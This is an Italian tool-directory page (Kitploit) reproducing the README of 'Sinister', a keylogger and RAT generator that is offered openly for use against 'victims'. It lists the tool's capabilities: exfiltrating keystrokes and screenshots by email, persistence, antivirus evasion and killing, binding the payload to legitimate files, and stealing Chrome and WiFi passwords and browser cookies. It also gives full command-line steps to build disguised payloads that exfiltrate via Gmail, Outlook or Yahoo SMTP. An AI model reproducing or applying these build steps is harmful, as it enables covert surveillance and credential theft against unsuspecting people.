Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Sinister — Sinister è un generatore di keylogger per Windows/Linux che invia i tasti premuti via email insieme ad altre interessanti informazioni sul target. | Kitploit
Strumenti/GitHubGitHub/pushpenderindia/sinister
Password CrackingGenerazione di PayloadMeccanismi di PersistenzaEsfiltrazione DatiRaccolta InformazioniPost-ExploitRed TeamingStrumento di Accesso Remoto
GitHubpushpenderindia/sinister

Sinister

Sinister è un generatore di keylogger per Windows/Linux che invia i tasti premuti via email insieme ad altre interessanti informazioni sul target.

46593422 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Sinister Logo

Sinister

Hacker GIF

                    Questo piccolo script Python può fare un lavoro davvero eccezionale.

Sinister è un generatore di Keylogger per Windows/Linux, che invia key-log e screenshot tramite email insieme ad altre preziose informazioni sul bersaglio, scritto in Python 3.

Disclaimer

:computer: Questo progetto è stato creato solo per scopi positivi e uso personale.

QUESTO SOFTWARE VIENE FORNITO "COSÌ COM'È" SENZA ALCUNA GARANZIA. PUOI UTILIZZARLO A TUO RISCHIO. L'UTILIZZO È SOTTO LA COMPLETA RESPONSABILITÀ DELL'UTENTE FINALE. GLI SVILUPPATORI NON SI ASSUMONO ALCUNA RESPONSABILITÀ E NON SONO RESPONSABILI PER QUALSIASI USO IMPROPRIO O DANNO CAUSATO DA QUESTO PROGRAMMA.

Caratteristiche

  • Funziona su Windows/Linux
  • Notifica della nuova vittima tramite email
  • Non rilevabile
  • Persistenza
  • Validazione delle credenziali email prima della generazione del payload.
  • Può ricevere keylog da qualsiasi provider email come GMAIL, YAHOO, OUTLOOK, SMTP personalizzato.
  • Server/Porta SMTP
Nome ServerServer SMTPPorta SMTP
GMAILsmtp.gmail.com587
OUTLOOKsmtp-mail.outlook.com587
YAHOOsmtp.mail.yahoo.com587
  • Invia screenshot dello schermo del PC della vittima tramite email
  • Crea un eseguibile binario con zero dipendenze
  • Crea payload di dimensioni ridotte (~5 MB) con funzionalità avanzate
  • Offusca il payload prima di generarlo, bypassando così alcuni antivirus
  • Il payload generato è codificato in base64, rendendo estremamente difficile il reverse engineering
  • Funzione per uccidere l'antivirus sul PC della vittima e tentare di disabilitare la sicurezza
  • Interfaccia grafica colorata per generare il payload
  • Lato Attaccante: durante la creazione del payload, lo script rileva automaticamente le dipendenze mancanti e le installa
  • Distingue i dati di log in base al nome della finestra attiva (Controlla l'immagine per una migliore comprensione)
  • Possibilità di aggiungere un'icona personalizzata al file malevolo
  • Binder integrato che può associare il keylogger a qualsiasi file [.pdf, .txt, .exe ecc.], eseguendo il file legittimo in primo piano e i codici malevoli in background come servizio.
  • Controlla la presenza di un'istanza già in esecuzione sul sistema; se trovata, viene eseguito solo il file legittimo [Proibitore di istanze multiple per evitare di ricevere log email duplicati].
  • L'attaccante può creare/compilare per Windows/Linux utilizzando Linux, ma può creare/compilare solo eseguibili Windows usando una macchina Windows
  • Recupera le password salvate dal sistema della vittima e le invia all'attaccante.
Cosa può rubare lo Stealer integrato :
Chrome (Password salvate)
WiFi (Password salvate)
Cookie di Chrome (Login Data, Cookie, Cronologia)
Cookie di Firefox (cookies.sqlite)

Nota: Lo Stealer personalizzato è codificato, non si basa su LaZagne

  • Recupera e invia informazioni utili sul dispositivo della vittima
Queste informazioni sono recuperate e inviate:
Sistema Operativo
Nome del Computer
Nome Utente
IPv4 Pubblico
  • Se il payload non riesce a eseguirsi, usa --debug per eseguire l'exe in primo piano con CMD

Importante

Il 30 maggio 2022, Google ha rimosso la funzionalità delle app meno sicure, quindi invece della password di Gmail:

  • Attiva la 2FA sulla tua Gmail attaccante
  • Crea una password specifica per l'app
  • Usa quella password specifica per l'app durante la creazione del payload.
  • Come creare una password specifica per l'app: Clicca qui

Testato su

Kali) Kali Linux - ROLLING EDITION

Windows) Windows 10

Windows) Windows 8.1 - Pro

Windows) Windows 7 - Ultimate

Prerequisiti

  • Python 3.X
  • Alcuni moduli esterni

Come usare su Linux

# Naviga nella directory /opt (opzionale)
$ cd /opt/

# Clona questo repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Vai nella cartella Sinister
$ cd Sinister

# Installa le dipendenze
$ bash installer_linux.sh

*** Nota: Quando appare la finestra di dialogo dell'installer Python durante l'esecuzione di installer_linux.sh ***
    * Clicca su installazione personalizzata
    * Seleziona Percorso : C:/Python37-32
    ### In questo modo Python verrà installato in questo percorso (all'interno di Wine) : ~/.wine/drive_c/Python37-32

# Se ricevi errori durante l'esecuzione di installer_linux.sh, prova installare con installer_linux.py
$ python3 installer_linux.py

$ chmod +x Sinister.py
$ python3 Sinister.py --help

# Creazione del payload/RAT
$ python3 Sinister.py -e [email protected] -p PasswordEmail -l -o nome_file_output --icon percorso_icona

# Creazione del payload utilizzando server SMTP GMAIL, configurazione porta (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)
$ python3 Sinister.py -e [email protected] -p PasswordEmail -l -o nome_file_output --icon percorso_icona

# Creazione del payload utilizzando server SMTP OUTLOOK, configurazione porta
$ python3 Sinister.py -e [email protected] -p PasswordEmail -x smtp-mail.outlook.com -y 587 -l -o nome_file_output --icon percorso_icona

# Creazione del payload utilizzando server SMTP YAHOO, configurazione porta
$ python3 Sinister.py -e [email protected] -p PasswordEmail -x smtp.mail.yahoo.com -y 587 -l -o nome_file_output --icon percorso_icona

Nota: Puoi anche usare le nostre icone personalizzate dalla cartella icon, usale così  --icon icon/pdf.ico

Come usare su Windows

# Installa le dipendenze
$ Installa l'ultima versione di Python 3.x

# Clona questo repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Entra nel repository
$ cd Sinister

# Installa le dipendenze
$ python -m pip install -r requirements.txt

# Apri Sinister.py in un editor di testo e configura la riga 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"

# Menu di aiuto
$ python Sinister.py --help
Scarica lo strumento